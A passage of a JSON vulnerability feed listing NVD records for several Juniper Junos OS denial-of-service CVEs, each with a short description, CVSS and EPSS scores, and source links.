Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102041","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00269,"percentile":0.18881,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102041&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102041","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102041","type":"primary","publishedAt":"2026-10-14T17:17:58.333Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102041&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102041, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102040","cveId":"CVE-2026-102040","aliases":[],"kind":"vulnerability","title":"A NULL Pointer Dereference vulnerability in the rpd routing daemon of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated attacker to crash the...","summary":"A NULL Pointer Dereference vulnerability in the rpd routing daemon of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated attacker to crash the routing daemon and cause a denial of service via an RSVP Path message.","detail":"A NULL Pointer Dereference vulnerability in the rpd routing daemon of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated attacker to crash the routing daemon and cause a denial of service via an RSVP Path message.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:58.180Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102040","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00281,"percentile":0.20401,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102040&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102040","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102040","type":"primary","publishedAt":"2026-10-14T17:17:58.180Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102040&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102040, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102039","cveId":"CVE-2026-102039","aliases":[],"kind":"vulnerability","title":"A NULL Pointer Dereference vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to cause a denial of service via a...","summary":"A NULL Pointer Dereference vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to cause a denial of service via a malformed RSVP Path message received on an EVPL LMP control channel.","detail":"A NULL Pointer Dereference vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to cause a denial of service via a malformed RSVP Path message received on an EVPL LMP control channel.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:58.017Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102039","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00269,"percentile":0.18883,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102039&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102039","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102039","type":"primary","publishedAt":"2026-10-14T17:17:58.017Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102039&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102039, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102036","cveId":"CVE-2026-102036","aliases":[],"kind":"vulnerability","title":"An Integer Overflow or Wraparound vulnerability in the l2ald process of Juniper Networks Junos OS and Junos OS Evolved allows a configured EVPN BGP peer to cause a denial of...","summary":"An Integer Overflow or Wraparound vulnerability in the l2ald process of Juniper Networks Junos OS and Junos OS Evolved allows a configured EVPN BGP peer to cause a denial of service via EVPN Type-2 MAC/IP routes.","detail":"An Integer Overflow or Wraparound vulnerability in the l2ald process of Juniper Networks Junos OS and Junos OS Evolved allows a configured EVPN BGP peer to cause a denial of service via EVPN Type-2 MAC/IP routes.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:57.717Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102036","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.0046,"percentile":0.39612,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102036&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102036","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102036","type":"primary","publishedAt":"2026-10-14T17:17:57.717Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102036&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102036, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102035","cveId":"CVE-2026-102035","aliases":[],"kind":"vulnerability","title":"A Reachable Assertion vulnerability in the l2ald process of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to cause a denial of service via an ICCP...","summary":"A Reachable Assertion vulnerability in the l2ald process of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to cause a denial of service via an ICCP peer message when MC-LAG IRB MAC synchronization is enabled.","detail":"A Reachable Assertion vulnerability in the l2ald process of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to cause a denial of service via an ICCP peer message when MC-LAG IRB MAC synchronization is enabled.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:57.547Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102035","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00269,"percentile":0.18885,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102035&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102035","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102035","type":"primary","publishedAt":"2026-10-14T17:17:57.547Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102035&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102035, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102034","cveId":"CVE-2026-102034","aliases":[],"kind":"vulnerability","title":"A Reachable Assertion vulnerability in the l2ald daemon of Juniper Networks Junos OS and Junos OS Evolved allows an attacker with access to a configured ICCP peer to cause a...","summary":"A Reachable Assertion vulnerability in the l2ald daemon of Juniper Networks Junos OS and Junos OS Evolved allows an attacker with access to a configured ICCP peer to cause a denial of service via a malformed MC-LAG message.","detail":"A Reachable Assertion vulnerability in the l2ald daemon of Juniper Networks Junos OS and Junos OS Evolved allows an attacker with access to a configured ICCP peer to cause a denial of service via a malformed MC-LAG message.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:57.370Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102034","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00269,"percentile":0.1885,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102034&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102034","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102034","type":"primary","publishedAt":"2026-10-14T17:17:57.370Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102034&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102034, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102033","cveId":"CVE-2026-102033","aliases":[],"kind":"vulnerability","title":"An Improper Validation of Specified Quantity in Input vulnerability in l2ald of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to cause a denial of...","summary":"An Improper Validation of Specified Quantity in Input vulnerability in l2ald of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to cause a denial of service via an ICCP MC-LAG message.","detail":"An Improper Validation of Specified Quantity in Input vulnerability in l2ald of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to cause a denial of service via an ICCP MC-LAG message.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:57.020Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102033","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00269,"percentile":0.18849,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102033&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102033","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102033","type":"primary","publishedAt":"2026-10-14T17:17:57.020Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102033&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102033, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102032","cveId":"CVE-2026-102032","aliases":[],"kind":"vulnerability","title":"A Missing Release of Memory after Effective Lifetime vulnerability in the l2ald process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent...","summary":"A Missing Release of Memory after Effective Lifetime vulnerability in the l2ald process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause a denial of service via crafted packets when the static MAC-IP feature is in use.","detail":"A Missing Release of Memory after Effective Lifetime vulnerability in the l2ald process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause a denial of service via crafted packets when the static MAC-IP feature is in use.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:56.770Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102032","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00308,"percentile":0.23363,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102032&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102032","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102032","type":"primary","publishedAt":"2026-10-14T17:17:56.770Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102032&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102032, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102030","cveId":"CVE-2026-102030","aliases":[],"kind":"vulnerability","title":"An Incomplete Cleanup vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows a configured MVPN neighbor to cause a denial of service via a BGP...","summary":"An Incomplete Cleanup vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows a configured MVPN neighbor to cause a denial of service via a BGP MVPN update when an inter‑region segmented VRF with 'protocols mvpn inter-region-template' is configured.","detail":"An Incomplete Cleanup vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows a configured MVPN neighbor to cause a denial of service via a BGP MVPN update when an inter‑region segmented VRF with 'protocols mvpn inter-region-template' is configured.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:56.460Z","updatedAt":"2026-10-16T17:17:08.307Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102030","asOf":"2026-10-16T17:17:08.307Z"},"epss":{"probability":0.00461,"percentile":0.39658,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102030&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102030","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102030","type":"primary","publishedAt":"2026-10-14T17:17:56.460Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102030&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102030, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102029","cveId":"CVE-2026-102029","aliases":[],"kind":"vulnerability","title":"A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated configured MSDP peer or...","summary":"A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated configured MSDP peer or adjacent PIM sender to cause a denial of service via an MSDP or PIM policy that uses AS-path expansion.","detail":"A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated configured MSDP peer or adjacent PIM sender to cause a denial of service via an MSDP or PIM policy that uses AS-path expansion.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:56.303Z","updatedAt":"2026-10-16T17:17:08.140Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102029","asOf":"2026-10-16T17:17:08.140Z"},"epss":{"probability":0.00461,"percentile":0.3966,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102029&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102029","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102029","type":"primary","publishedAt":"2026-10-14T17:17:56.303Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102029&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102029, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102028","cveId":"CVE-2026-102028","aliases":[],"kind":"vulnerability","title":"A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a remote BGP peer to cause a denial of...","summary":"A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a remote BGP peer to cause a denial of service when multiple UPDATEs occur over a single TCP session with 'bgp family l2vpn auto-discovery-only' configured.","detail":"A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a remote BGP peer to cause a denial of service when multiple UPDATEs occur over a single TCP session with 'bgp family l2vpn auto-discovery-only' configured.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:56.137Z","updatedAt":"2026-10-16T17:17:07.993Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102028","asOf":"2026-10-16T17:17:07.993Z"},"epss":{"probability":0.00549,"percentile":0.457,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102028&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102028","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102028","type":"primary","publishedAt":"2026-10-14T17:17:56.137Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 